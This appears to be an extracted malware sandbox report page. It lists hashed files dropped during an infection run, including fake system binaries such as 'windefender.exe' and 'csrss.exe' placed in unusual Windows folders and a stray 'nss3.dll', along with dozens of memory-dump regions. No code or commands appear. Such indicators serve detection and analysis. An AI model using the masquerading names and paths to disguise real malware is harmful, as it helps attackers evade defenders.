C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
18KB

MD5
bba89fd0c4c4bc754b871287a7c39342

SHA1
4a5f4c2c24dd8e3604b09efab68ebc30d8e6b069

SHA256
0a764f229d66954bb106c42099cf720e7a20b742ecbaefc07f592eaa3f146a68

SHA512
c38172f8a14def58361d6b721926540d24880eb64169899928648fe4b1a3b331263edbef852fa35c5bcffef40201d7fa058de4064ecd1c9d10eb503fd15093b8

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
15KB

MD5
bda97727990211450bf1548c536e9260

SHA1
1e478db2899844423cd524661d87a3eee7f9a499

SHA256
1632289afdd08ab90a3b3a1b560f5e9f169b1d1019427342a30c93c7975cfcae

SHA512
e6216f4e86612429841790dfdaf9400c80f0a1ddc0d5ab372d34745f6bd58c05515f2ad38ccb89224fd8d2005040eafed455d923f4d471c69cecce625f09e890

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
12KB

MD5
5f1c927b01996e550fc8c70ec5b50f97

SHA1
1ae822537ab2595f8a98827104e81dbb26da0489

SHA256
17a33d18f9c9956d9f059c58eb0b625d60513a12b2638854e71ded32884e20fa

SHA512
a1e5d73a6facc3b801c47d4ba1277c8951e846c3521309f3c3af4782f24fecff03301d7c8007f200dd799e9a8efd15df3cd02839912d8ae18ec8c827611e74d7

Download Submit
C:\Windows\rss\csrss.exe

Filesize
448KB

MD5
aa8f73fa58f352111c448e2306022b02

SHA1
74b0a269941abe466da418da742612288ee8b2fa

SHA256
3ee4f12d7ac20c5d38b3b715c5037a440797e482d4bb7f127fee431bc203c00c

SHA512
16850ae061949011d348e23bc74db78b79993481dca76bd66b28829598d40da1392256eb1e9467de96c53e2ed2b69206d264d88192a4103a7c9f082653bf80a5

Download Submit
C:\Windows\rss\csrss.exe

Filesize
1.9MB

MD5
161d88e27836a9a27d2c491ce3256a4b

SHA1
9730379cf69e3e7dda59165738e2d71d4a998405

SHA256
bab4ea7e746c488a7099c229581cc008f646fd91cfd7dc9c1ab96346db18006c

SHA512
6d1af4fedebd1a8aa7698c6f375329908741bfec57679e634f98109e3f5271d531dc64b8d941866e3b4dd9e9adbba9c496ab90ebf41054e6f622fb2bdcb21bf2

Download Submit
C:\Windows\system32\GroupPolicy\Machine\Registry.pol

Filesize
1KB

MD5
cdfd60e717a44c2349b553e011958b85

SHA1
431136102a6fb52a00e416964d4c27089155f73b

SHA256
0ee08da4da3e4133e1809099fc646468e7156644c9a772f704b80e338015211f

SHA512
dfea0d0b3779059e64088ea9a13cd6b076d76c64db99fa82e6612386cae5cda94a790318207470045ef51f0a410b400726ba28cb6ecb6972f081c532e558d6a8

Download Submit
C:\Windows\system32\GroupPolicy\gpt.ini

Filesize
268B

MD5
a62ce44a33f1c05fc2d340ea0ca118a4

SHA1
1f03eb4716015528f3de7f7674532c1345b2717d

SHA256
9f2cd4acf23d565bc8498c989fccccf59fd207ef8925111dc63e78649735404a

SHA512
9d9a4da2df0550afdb7b80be22c6f4ef7da5a52cc2bb4831b8ff6f30f0ee9eac8960f61cdd7cfe0b1b6534a0f9e738f7eb8ea3839d2d92abeb81660de76e7732

Download Submit
C:\Windows\windefender.exe

Filesize
1.9MB

MD5
48bb2b8b0b3d518ce9c666a3a9d5c412

SHA1
abaf622dba4f42473a663208fe6b961895d6de63

SHA256
3fa30f23230ba70708815b9edee678e96522739221ac214833d0477828307749

SHA512
84610f3fcb35484868537b76a27302eea7b3d110e50ede723654eda37ab427cb17a2f371787ad9fe05137659ecd8ba1240a0267b7ac0396b73c04705aeb83a7f

Download Submit
C:\Windows\windefender.exe

Filesize
2.0MB

MD5
8e67f58837092385dcf01e8a2b4f5783

SHA1
012c49cfd8c5d06795a6f67ea2baf2a082cf8625

SHA256
166ddb03ff3c89bd4525ac390067e180fdd08f10fbcf4aadb0189541673c03fa

SHA512
40d8ae12663fc1851e171d9d86cea8bb12487b734c218d7b6f9742eb07d4ca265065cbd6d0bb908f8bda7e3d955c458dfe3fd13265bbf573b9351e0a2bf691ec

Download Submit
\ProgramData\nss3.dll

Filesize
2.0MB

MD5
1cc453cdf74f31e4d913ff9c10acdde2

SHA1
6e85eae544d6e965f15fa5c39700fa7202f3aafe

SHA256
ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5

SHA512
dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

Download Submit
memory/68-3223-0x0000000000400000-0x0000000001DF3000-memory.dmp

Filesize
25.9MB

Download
memory/68-3919-0x0000000000400000-0x0000000001DF3000-memory.dmp

Filesize
25.9MB

Download
memory/308-3124-0x0000000000C00000-0x0000000000CAE000-memory.dmp

Filesize
696KB

Download
memory/404-0-0x00007FF6A3220000-0x00007FF6A359D000-memory.dmp

Filesize
3.5MB

Download
memory/404-2-0x00007FF6A3220000-0x00007FF6A359D000-memory.dmp

Filesize
3.5MB

Download
memory/512-1196-0x000000006F330000-0x000000006F680000-memory.dmp

Filesize
3.3MB

Download
memory/512-1195-0x000000006F2E0000-0x000000006F32B000-memory.dmp

Filesize
300KB

Download
memory/696-3920-0x0000000000400000-0x0000000001DF3000-memory.dmp

Filesize
25.9MB

Download
memory/696-3222-0x0000000000400000-0x0000000001DF3000-memory.dmp

Filesize
25.9MB

Download
memory/1128-2391-0x0000000008B90000-0x0000000008BDB000-memory.dmp

Filesize
300KB

Download
memory/1128-2448-0x000000006F2E0000-0x000000006F630000-memory.dmp

Filesize
3.3MB

Download
memory/1128-2447-0x000000006F290000-0x000000006F2DB000-memory.dmp

Filesize
300KB

Download
memory/1232-3231-0x000000006F2E0000-0x000000006F630000-memory.dmp

Filesize
3.3MB

Download
memory/1232-3230-0x000000006F290000-0x000000006F2DB000-memory.dmp

Filesize
300KB

Download
memory/1340-4775-0x0000000007DA0000-0x00000000080F0000-memory.dmp

Filesize
3.3MB

Download
memory/1340-4777-0x00000000086F0000-0x000000000873B000-memory.dmp

Filesize
300KB

Download
memory/1340-4796-0x000000006F7B0000-0x000000006F7FB000-memory.dmp

Filesize
300KB

Download
memory/1340-4802-0x0000000009720000-0x00000000097C5000-memory.dmp

Filesize
660KB

Download
memory/1340-4797-0x000000006F350000-0x000000006F6A0000-memory.dmp

Filesize
3.3MB

Download
memory/1444-4090-0x000000006F2E0000-0x000000006F630000-memory.dmp

Filesize
3.3MB

Download
memory/1444-4089-0x000000006F290000-0x000000006F2DB000-memory.dmp

Filesize
300KB

Download
memory/1448-1915-0x000000006F2E0000-0x000000006F630000-memory.dmp

Filesize
3.3MB

Download
memory/1448-1914-0x000000006F1A0000-0x000000006F1EB000-memory.dmp

Filesize
300KB

Download
memory/1588-3135-0x000000006F2E0000-0x000000006F630000-memory.dmp

Filesize
3.3MB

Download
memory/1588-3134-0x000000006F290000-0x000000006F2DB000-memory.dmp

Filesize
300KB

Download
memory/1588-3140-0x0000000008FF0000-0x0000000009095000-memory.dmp

Filesize
660KB

Download
memory/1856-4653-0x0000000000400000-0x0000000001DF3000-memory.dmp

Filesize
25.9MB

Download
memory/1856-4731-0x0000000000400000-0x0000000001DF3000-memory.dmp

Filesize
25.9MB

Download
memory/1856-4582-0x0000000000400000-0x0000000001DF3000-memory.dmp

Filesize
25.9MB

Download
memory/1856-4547-0x0000000000400000-0x0000000001DF3000-memory.dmp

Filesize
25.9MB

Download
memory/1856-4694-0x0000000000400000-0x0000000001DF3000-memory.dmp

Filesize
25.9MB

Download
memory/1856-4585-0x0000000000400000-0x0000000001DF3000-memory.dmp

Filesize
25.9MB

Download
memory/1856-4634-0x0000000000400000-0x0000000001DF3000-memory.dmp

Filesize
25.9MB

Download
memory/1856-4592-0x0000000000400000-0x0000000001DF3000-memory.dmp

Filesize
25.9MB

Download
memory/1856-4599-0x0000000000400000-0x0000000001DF3000-memory.dmp

Filesize
25.9MB

Download
memory/1976-2009-0x000000006F1A0000-0x000000006F1EB000-memory.dmp

Filesize
300KB

Download
memory/1976-2010-0x000000006F2E0000-0x000000006F630000-memory.dmp

Filesize
3.3MB

Download
memory/2028-2428-0x000000006F290000-0x000000006F2DB000-memory.dmp

Filesize
300KB

Download
memory/2028-2429-0x000000006F2E0000-0x000000006F630000-memory.dmp

Filesize
3.3MB

Download
memory/2028-2434-0x00000000091B0000-0x0000000009255000-memory.dmp

Filesize
660KB

Download
memory/2096-4324-0x000000006F290000-0x000000006F2DB000-memory.dmp

Filesize
300KB

Download
memory/2096-4325-0x000000006F2E0000-0x000000006F630000-memory.dmp

Filesize
3.3MB

Download
memory/2268-2703-0x000000006F290000-0x000000006F2DB000-memory.dmp

Filesize
300KB

Download
memory/2268-2711-0x000000006F2E0000-0x000000006F630000-memory.dmp

Filesize
3.3MB

Download
memory/2432-1189-0x0000000000400000-0x0000000001DF3000-memory.dmp

Filesize
25.9MB

Download
memory/3120-1166-0x0000000000400000-0x0000000001DF3000-memory.dmp

Filesize
25.9MB

Download
memory/3248-1433-0x000000007399E000-0x000000007399F000-memory.dmp

Filesize
4KB

Download
memory/3248-4-0x0000000073990000-0x000000007407E000-memory.dmp

Filesize
6.9MB

Download
memory/3248-3-0x000000007399E000-0x000000007399F000-memory.dmp

Filesize
4KB

Download
memory/3248-1-0x0000000000400000-0x0000000000408000-memory.dmp

Filesize
32KB

Download
memory/3248-2387-0x0000000073990000-0x000000007407E000-memory.dmp

Filesize
6.9MB

Download
memory/3276-2962-0x0000000000400000-0x0000000001DF3000-memory.dmp

Filesize
25.9MB

Download
memory/3288-1184-0x0000000000400000-0x0000000001DF3000-memory.dmp

Filesize
25.9MB

Download
memory/3364-24-0x0000000007440000-0x00000000074A6000-memory.dmp

Filesize
408KB

Download
memory/3364-25-0x0000000007BE0000-0x0000000007C46000-memory.dmp

Filesize
408KB

Download
memory/3364-110-0x000000000A0B0000-0x000000000A0CE000-memory.dmp

Filesize
120KB

Download
memory/3364-108-0x000000006F2E0000-0x000000006F32B000-memory.dmp

Filesize
300KB

Download
memory/3364-85-0x00000000092A0000-0x0000000009316000-memory.dmp

Filesize
472KB

Download
memory/3364-54-0x00000000091E0000-0x000000000921C000-memory.dmp

Filesize
240KB

Download
memory/3364-109-0x000000006F330000-0x000000006F680000-memory.dmp

Filesize
3.3MB

Download
memory/3364-28-0x00000000082B0000-0x00000000082FB000-memory.dmp

Filesize
300KB

Download
memory/3364-27-0x0000000008130000-0x000000000814C000-memory.dmp

Filesize
112KB

Download
memory/3364-107-0x000000000A0D0000-0x000000000A103000-memory.dmp

Filesize
204KB

Download
memory/3364-26-0x0000000007CB0000-0x0000000008000000-memory.dmp

Filesize
3.3MB

Download
memory/3364-117-0x000000000A310000-0x000000000A3A4000-memory.dmp

Filesize
592KB

Download
memory/3364-320-0x000000000A290000-0x000000000A2AA000-memory.dmp

Filesize
104KB

Download
memory/3364-115-0x000000000A110000-0x000000000A1B5000-memory.dmp

Filesize
660KB

Download
memory/3364-325-0x000000000A280000-0x000000000A288000-memory.dmp

Filesize
32KB

Download
memory/3364-23-0x00000000073A0000-0x00000000073C2000-memory.dmp

Filesize
136KB

Download
memory/3364-22-0x00000000075B0000-0x0000000007BD8000-memory.dmp

Filesize
6.2MB

Download
memory/3364-21-0x0000000004C60000-0x0000000004C96000-memory.dmp

Filesize
216KB

Download
memory/3484-1471-0x000000006F1A0000-0x000000006F1EB000-memory.dmp

Filesize
300KB

Download
memory/3484-1472-0x000000006F2E0000-0x000000006F630000-memory.dmp

Filesize
3.3MB

Download
memory/3568-4643-0x0000000140000000-0x0000000140862000-memory.dmp

Filesize
8.4MB

Download
memory/3568-4662-0x0000000140000000-0x0000000140862000-memory.dmp

Filesize
8.4MB

Download
memory/3676-3699-0x0000000000400000-0x0000000001DF3000-memory.dmp

Filesize
25.9MB

Download
memory/3676-3221-0x0000000000400000-0x0000000001DF3000-memory.dmp

Filesize
25.9MB

Download
memory/3916-3758-0x000000006F290000-0x000000006F2DB000-memory.dmp

Filesize
300KB

Download
memory/3916-3759-0x000000006F2E0000-0x000000006F630000-memory.dmp

Filesize
3.3MB

Download
memory/4124-4610-0x0000000000400000-0x0000000001A34000-memory.dmp

Filesize
22.2MB

Download
memory/4124-2386-0x0000000000400000-0x0000000001A34000-memory.dmp

Filesize
22.2MB

Download
memory/4212-4703-0x000001D947FB0000-0x000001D947FC4000-memory.dmp

Filesize
80KB

Download
memory/4212-4719-0x000001D94D260000-0x000001D94D268000-memory.dmp

Filesize
32KB

Download
memory/4212-4702-0x000001D947FC0000-0x000001D947FCC000-memory.dmp

Filesize
48KB

Download
memory/4212-4704-0x000001D947FE0000-0x000001D948004000-memory.dmp

Filesize
144KB

Download
memory/4212-4701-0x000001D92DEF0000-0x000001D92DF00000-memory.dmp

Filesize
64KB

Download
memory/4212-4700-0x000001D9482A0000-0x000001D9483AA000-memory.dmp

Filesize
1.0MB

Download
memory/4212-4709-0x000001D948710000-0x000001D948760000-memory.dmp

Filesize
320KB

Download
memory/4212-4710-0x000001D948760000-0x000001D948782000-memory.dmp

Filesize
136KB

Download
memory/4212-4708-0x000001D948610000-0x000001D9486C2000-memory.dmp

Filesize
712KB

Download
memory/4212-4707-0x000001D9485E0000-0x000001D94860A000-memory.dmp

Filesize
168KB

Download
memory/4212-4706-0x000001D947F90000-0x000001D947F9A000-memory.dmp

Filesize
40KB

Download
memory/4212-4711-0x000001D947FA0000-0x000001D947FAA000-memory.dmp

Filesize
40KB

Download
memory/4212-4715-0x000001D9490D0000-0x000001D9493D0000-memory.dmp

Filesize
3.0MB

Download
memory/4212-4699-0x000001D92A280000-0x000001D92DAB4000-memory.dmp

Filesize
56.2MB

Download
memory/4212-4722-0x000001D94E410000-0x000001D94E432000-memory.dmp

Filesize
136KB

Download
memory/4212-4721-0x000001D94E3B0000-0x000001D94E412000-memory.dmp

Filesize
392KB

Download
memory/4212-4723-0x000001D94E970000-0x000001D94EE96000-memory.dmp

Filesize
5.1MB

Download
memory/4212-4726-0x000001D94E3A0000-0x000001D94E3AC000-memory.dmp

Filesize
48KB

Download
memory/4212-4720-0x000001D94E390000-0x000001D94E39A000-memory.dmp

Filesize
40KB

Download
memory/4212-4718-0x000001D94E090000-0x000001D94E0C8000-memory.dmp

Filesize
224KB

Download
memory/4212-4717-0x000001D94D200000-0x000001D94D208000-memory.dmp

Filesize
32KB

Download
memory/4212-4727-0x000001D94E4F0000-0x000001D94E566000-memory.dmp

Filesize
472KB

Download
memory/4212-4729-0x000001D94E450000-0x000001D94E46E000-memory.dmp

Filesize
120KB

Download
memory/4216-1418-0x00000000080A0000-0x00000000083F0000-memory.dmp

Filesize
3.3MB

Download
memory/4216-1422-0x0000000008650000-0x000000000869B000-memory.dmp

Filesize
300KB

Download
memory/4216-1465-0x000000006F2E0000-0x000000006F630000-memory.dmp

Filesize
3.3MB

Download
memory/4216-1464-0x000000006F1A0000-0x000000006F1EB000-memory.dmp

Filesize
300KB

Download
memory/4216-1470-0x0000000009B40000-0x0000000009BE5000-memory.dmp

Filesize
660KB

Download
memory/4324-4605-0x0000000000400000-0x0000000001A10000-memory.dmp

Filesize
22.1MB

Download
memory/4324-4591-0x0000000000400000-0x0000000001A10000-memory.dmp

Filesize
22.1MB

Download
memory/4324-4584-0x0000000000400000-0x0000000001A10000-memory.dmp

Filesize
22.1MB

Download
memory/4324-4728-0x0000000000400000-0x0000000001A10000-memory.dmp

Filesize
22.1MB

Download
memory/4324-4661-0x0000000000400000-0x0000000001A10000-memory.dmp

Filesize
22.1MB

Download
memory/4324-4598-0x0000000000400000-0x0000000001A10000-memory.dmp

Filesize
22.1MB

Download
memory/4324-4550-0x0000000061E00000-0x0000000061EF3000-memory.dmp

Filesize
972KB

Download
memory/4324-4084-0x0000000000400000-0x0000000001A10000-memory.dmp

Filesize
22.1MB

Download
memory/4356-4600-0x0000000000400000-0x00000000008DF000-memory.dmp

Filesize
4.9MB

Download
memory/4356-4586-0x0000000000400000-0x00000000008DF000-memory.dmp

Filesize
4.9MB

Download
memory/4356-4580-0x0000000000400000-0x00000000008DF000-memory.dmp

Filesize
4.9MB

Download
memory/4392-549-0x000000006F2E0000-0x000000006F32B000-memory.dmp

Filesize
300KB

Download
memory/4392-602-0x000000006F330000-0x000000006F680000-memory.dmp

Filesize
3.3MB

Download
memory/4404-929-0x000000006F2E0000-0x000000006F32B000-memory.dmp

Filesize
300KB

Download
memory/4404-930-0x000000006F330000-0x000000006F680000-memory.dmp

Filesize
3.3MB

Download
memory/4536-4577-0x0000000000400000-0x00000000008DF000-memory.dmp

Filesize
4.9MB

Download
memory/4536-4581-0x0000000000400000-0x00000000008DF000-memory.dmp

Filesize
4.9MB

Download
memory/4876-3605-0x000000006F290000-0x000000006F2DB000-memory.dmp

Filesize
300KB

Download
memory/4876-3606-0x000000006F2E0000-0x000000006F630000-memory.dmp

Filesize
3.3MB

Download
memory/4932-4652-0x0000000000400000-0x00000000008AD000-memory.dmp

Filesize
4.7MB

Download
memory/4932-4698-0x0000000000400000-0x00000000008AD000-memory.dmp

Filesize
4.7MB

Download
memory/4952-412-0x000000006F330000-0x000000006F680000-memory.dmp

Filesize
3.3MB

Download
memory/4952-411-0x000000006F2E0000-0x000000006F32B000-memory.dmp

Filesize
300KB

Download
memory/5056-1272-0x0000000000400000-0x0000000001DF3000-memory.dmp

Filesize
25.9MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads